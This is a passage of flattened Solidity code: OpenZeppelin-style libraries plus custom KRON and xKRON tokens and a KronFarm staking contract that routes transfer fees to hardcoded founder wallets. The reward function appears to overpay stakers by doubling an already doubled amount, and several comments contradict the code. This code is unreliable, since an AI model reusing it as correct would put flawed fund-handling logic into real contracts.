v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } contract XKronToken is ERC20, ERC20Burnable, AccessControl { address private owner; uint256 private _totalSupply = 840000000000000000000000000000; // Create a new role identifier for the minter role bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); mapping(address => uint256) private _blockNumberByAddress; // Construct the ERC20 Token constructor() ERC20("xKRON Token", "xKRON") { // Save deployer / owner address owner = msg.sender; // Grant the admin role to a specified account (contract deployer) _setupRole(DEFAULT_ADMIN_ROLE, owner); } // Prevent bots & other contracts from making function calls function ensureOneHuman(address _to, address _from) internal virtual returns (address) { require(!Address.isContract(_to) || !Address.isContract(_from), 'KRON Token: Atleast one human address is required!'); if (Address.isContract(_to)) return _from; else return _to; } // Prevent block / transaction race conditions function ensureOneTxPerBlock(address addr) internal virtual { bool isNewBlock = _blockNumberByAddress[addr] == 0 || _blockNumberByAddress[addr] < block.number; require(isNewBlock, 'KRON Token: Only one transaction per block is allowed!'); } // Modified transfer function for protection function transfer(address _to, uint256 _value) public virtual override returns (bool) { address _from = _msgSender(); address human = ensureOneHuman(_from, _to); ensureOneTxPerBlock(human); // Attempt transfer of X - Y rewards to specified address if (ERC20.transfer(_to, _value)) { // Mark the block that this address _blockNumberByAddress[human] = block.number; // Success return true; } else { // Failure return false; } } // Modified transfer from function for protection function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool) { address human = ensureOneHuman(_from, _to); ensureOneTxPerBlock(human); // Attempt transfer to designated address minus rewards fee if (ERC20.transferFrom(_from, _to, _value)) { // Mark block number at this address _blockNumberByAddress[human] = block.number; return true; } else { return false; } } // Mint new tokens with protection for minter roles function mint(address to, uint256 amount) public { // Check that the calling account has the minter role require(hasRole(MINTER_ROLE, msg.sender), "Caller is not a minter"); _mint(to, amount); } } // Contract contract KronFarm { // Owner address public owner; // Name of Contract string public name = "KRON Farm"; // Store instance of Kron Token KronToken public kronToken; // Store instance xKron Token XKronToken public xkronToken; // Array of stakers address[] public stakers; uint256 public totalStakedTokens; // Last reward block uint256 private lastRewardBlockTimeStamp; // Reward Throttle uint256 private _ethRewardThrottle; // ETH Node Rewards Rates uint256 private _ethNodeProfit; uint256 private _ethNodeProfitRewardProcessingGasBounty; uint256 private _ethNodeProfitDripRate; // Staking balance mapping mapping(address => uint256) public stakingBalance; // Has Staked ? mapping mapping(address => bool) public hasStaked; // Block Number -> Address Map mapping(address => uint256) private _blockNumberByAddress; // Minter Role bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); // Constructor constructor(KronToken _kronToken, XKronToken _xkronToken) { kronToken = _kronToken; xkronToken = _xkronToken; owner = msg.sender; totalStakedTokens = 0; _ethNodeProfit = 3; // 66% of KRON Farm Contract's to xKRON holders, 33% to DEV _ethNodeProfitRewardProcessingGasBounty = 100; // 1% of KRON Farm Contract's ETH Balance _ethNodeProfitDripRate = 4; // 25% of total profit in this contract's ETH ledger will be processed _ethRewardThrottle = 2 hours; // 0 second reward throttle lastRewardBlockTimeStamp = block.timestamp; } // Will receive any eth sent to the contract receive() external payable {} // Will be called when no other function matches, not even the receive function fallback() external payable {} // Ensures only one tx per block per address function ensureOneTxPerBlock(address addr) internal virtual { bool isNewBlock = _blockNumberByAddress[addr] == 0 || _blockNumberByAddress[addr] < block.number; require(isNewBlock, 'KRON Farm: Only one transaction per block is allowed!'); _blockNumberByAddress[addr] = block.number; } // 1. Stake Tokens, Allows investors to stake tokens to earn rewards function stakeTokens(uint256 _amount) public { address _from = msg.sender; require(Address.isContract(_from) == false, "KRON Farm: Contracts are not allowed to stake!"); ensureOneTxPerBlock(_from); // Require _amount to be > 0 require(_amount > 0, "Amount cannot be 0"); // Update staking balance stakingBalance[msg.sender] = stakingBalance[msg.sender] + _amount; totalStakedTokens = totalStakedTokens + _amount; // Add user to stakers array only if they haven't staked already if (!hasStaked[msg.sender]) { stakers.push(msg.sender); } // Update staking status hasStaked[msg.sender] = true; // Transfer KRON Tokens to dev wallet for staking kronToken.burnFrom(msg.sender, _amount); // Transfer xKRON Tokens from dev wallet to investor for holding xkronToken.mint(msg.sender, _amount); } // 2. Unstaking Tokens, Allows investors to unstake their tokens function unstakeTokens(uint256 _amount) public { address _from = msg.sender; require(Address.isContract(_from) == false, "KRON Farm: Contracts are not allowed to unstake!"); ensureOneTxPerBlock(_from); require(_amount > 0, "Amount cannot be 0"); // Current balance uint256 balance = stakingBalance[msg.sender]; // Require amount <= balance require(_amount <= balance, "Amount cannot be greater than staked balanced!"); // Update the staking balance stakingBalance[msg.sender] = stakingBalance[msg.sender] - _amount; totalStakedTokens = totalStakedTokens - _amount; // Remove user from stakers array if their balance = 0 if (hasStaked[msg.sender] && stakingBalance[msg.sender] == 0) { // Update staking status hasStaked[msg.sender] = false; } // Burn xKRON from investors wallet xkronToken.burnFrom(msg.sender, _amount); // Mint KRON to investors wallet kronToken.mint(address(this), _amount); kronToken.transfer(msg.sender, _amount); } // 3. Issuing Rewards, Allows investors to claim their interest rewards function issueRewards() public { address _from = msg.sender; require(Address.isContract(_from) == false, "KRON Farm: Contracts are not allowed to process rewards!"); ensureOneTxPerBlock(_from); // Prevent contract calls to this function when the current block timestamp isn't greater than the last contract call + our throttle limitation require(block.timestamp > lastRewardBlockTimeStamp + _ethRewardThrottle, "KRON Farm contract rewards denied! Contract call occured too soon!"); // Update our last reward block timestamp state variable lastRewardBlockTimeStamp = block.timestamp; uint256 totalProfits = address(this).balance / _ethNodeProfitDripRate; // ETH balance of contract divided by drip rate uint256 bounty = totalProfits / _ethNodeProfitRewardProcessingGasBounty; // 1% of total profits totalProfits -= bounty; // correct the totalProfits variable for further processing uint256 thirdProfits = totalProfits / _ethNodeProfit; // The farm contract must have enough ETH to distribute rewards require(address(this).balance >= totalProfits, "KRON Farm contract does not have sufficient eth balance to distribute rewards!"); // Issue tokens to stakers (xKRON Rewards) for (uint256 i=0; i < stakers.length; i++) { address recipient = stakers[i]; uint256 stakerBalance = stakingBalance[recipient]; if (stakerBalance > 0) { uint256 payment = ((stakerBalance * thirdProfits) / totalStakedTokens) * 2; // Double it from 33% to 66% payable(recipient).transfer(payment * 2); } } // Distribute to Dev team payable(owner).transfer(thirdProfits); // Distribute bounty to contract caller (rewards processor / good samaritan) payable(msg.sender).transfer(bounty); } } contract KronToken is ERC20, ERC20Burnable, AccessControl { address private owner; uint256 private _totalSupply = 840000000000000000000000000000; // 840 BILLION KRON, 420 BILLION KRON to be minted to ShibaSwap contract by the dev wallet uint private _rewardsFactor; uint private _devRewardsFactor; address private _rewardsAddress; address private _devRewardsAddress1; address private _devRewardsAddress2; uint256 private _antiWhaleLimit = 840000000000000000000000000; // 840 MILLION KRON, Hard cap on transfer quantity (0.10% of Total Supply) // Create a new role identifier for the minter role bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); mapping(address => uint256) private _blockNumberByAddress; constructor() ERC20("KRON Token", "KRON") { // Save deployer / owner address owner = msg.sender; // Specify rewards factor _rewardsFactor = 40; // Reward is 1/40th of X = 0.025 or 2.5% // Specify dev rewards factor, calculated as a small portion of total rewards, which the 2.5% transfer fee _devRewardsFactor = 10; // 10% of 2.5% // Specify rewards address _rewardsAddress = address(0xcA508878b73Bc615bFc5c1EE7d7B6A68580318E6); // Rewards // Specify developer rewards address _devRewardsAddress1 = address(0x7FCCA0Ed4Cb22AAcc6928dF1FDbA93CF11F4a3ff); // Founder 1 _devRewardsAddress2 = address(0x5149E991a4953AF45D81B8c5b1CFfaEb73Dd8e64); // Founder 2 // Mint total supply to contract owner _mint(owner, _totalSupply); // Grant the admin role to a specified account (contract deployer) _setupRole(DEFAULT_ADMIN_ROLE, owner); } function rewardsFactor() public view returns (uint256) { return _rewardsFactor; } function ensureOneHuman(address _to, address _from) internal virtual returns (address) { require(!Address.isContract(_to) || !Address.isContract(_from), 'KRON Token: Atleast one human address is required!'); if (Address.isContract(_to)) return _from; else return _to; } function ensureOneTxPerBlock(address addr) internal virtual { bool isNewBlock = _blockNumberByAddress[addr] == 0 || _blockNumberByAddress[addr] < block.number; require(isNewBlock, 'KRON Token: Only one transaction per block is allowed!'); } function transfer(address _to, uint256 _value) public virtual override returns (bool) { require(_value <= _antiWhaleLimit, "KronToken: Transfer amount exeeds 0.01% of total supply!"); address _from = msg.sender; address human = ensureOneHuman(_from, _to); ensureOneTxPerBlock(human); uint256 totalRewards = _value / _rewardsFactor; uint256 devTotalRewards = totalRewards / _devRewardsFactor; // Attempt transfer of X - Y rewards to specified address if (ERC20.transfer(_to, _value - totalRewards)) { // Attempt transfer of Y rewards to rewards wallet ERC20.transfer(_rewardsAddress, totalRewards - (devTotalRewards * 2)); // Attempt transfer of DEV rewards to Dev Wallet 1 ERC20.transfer(_devRewardsAddress1, devTotalRewards); // Attempt transfer of DEV rewards to Dev Wallet 2 ERC20.transfer(_devRewardsAddress2, devTotalRewards); // Mark the block that this address _blockNumberByAddress[human] = block.number; // Success return true; } else { // Failure return false; } } function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool) { require(_value <= _antiWhaleLimit, "KronToken: Transfer amount exeeds 0.01% of total supply!"); address human = ensureOneHuman(_from, _to); ensureOneTxPerBlock(human); uint256 totalRewards = _value / _rewardsFactor; uint256 devTotalRewards = totalRewards / _devRewardsFactor; // Attempt transfer to designated address minus rewards fee if (ERC20.transferFrom(_from, _to, _value - totalRewards)) { // Transfer rewards to rewards wallet ERC20.transferFrom(_from, _rewardsAddress, totalRewards - (devTotalRewards * 2)); // Attempt transfer of DEV rewards to Dev Wallet 1 ERC20.transferFrom(_from, _devRewardsAddress1, devTotalRewards); // Attempt transfer of DEV rewards to Dev Wallet 2 ERC20.transferFrom(_from, _devRewardsAddress2, devTotalRewards); // Mark block number at this address _blockNumberByAddress[human] = block.number; return true; } else { return false; } } function mint(address to, uint256 amount) public { // Check that the calling account has the minter role require(hasRole(MINTER_ROLE, msg.sender), "Caller is not a minter"); _mint(to, amount); } }
Create a new role identifier for the minter role
